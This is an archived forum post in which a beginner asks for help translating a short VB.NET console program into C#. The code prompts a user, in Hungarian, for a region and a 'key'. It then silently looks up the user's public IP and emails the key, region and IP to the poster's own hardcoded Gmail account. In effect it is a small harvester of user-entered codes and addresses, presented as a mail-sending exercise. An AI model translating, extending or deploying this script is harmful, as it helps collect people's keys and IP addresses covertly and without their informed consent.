المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : Translating VB to C# - Mail Script



C# Programming
02-18-2010, 10:32 AM
Hello!
Iam quite new here, and I have a problem.
Iam a begginer in C#. I want to write a console app, which can send email.
I have a VB source code, and I cant translate it to C#, so:

-Does anyone know how to translate/convert this VB source code to C#?

Thank you very much!

Imports System.Net.Mail

Module Module1
Public Region As String Public Key As String Sub Main()

Console.WriteLine("Hello! Ird be az orsz?got és a kodot!")
Region = Console.ReadLine
Key = Console.ReadLine
Sendmail()
End Sub Sub Sendmail()
Dim WC As New System.Net.WebClient

Dim MyMailMessage As New MailMessage

MyMailMessage.From = New MailAddress("ferike112@gmail.com")

MyMailMessage.To.Add("ferike112@gmail.com")

MyMailMessage.Subject = ("Region:" & Region & "Their IP is: " & System.Text.Encoding.ASCII.GetString((WC.DownloadData("http://whatismyip.com/automation/n09230945.asp"))))

WC.Dispose()

MyMailMessage.Body = ("REGION: " & Region & vbCrLf & "Key: " & Key)

Dim SMTPServer As New SmtpClient("smtp.gmail.com")

SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("ferike112@gmail.com", "********")

SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessage)


Catch ex As SmtpException
'MessageBox.Show(ex.Message)
End Try End SubEnd Module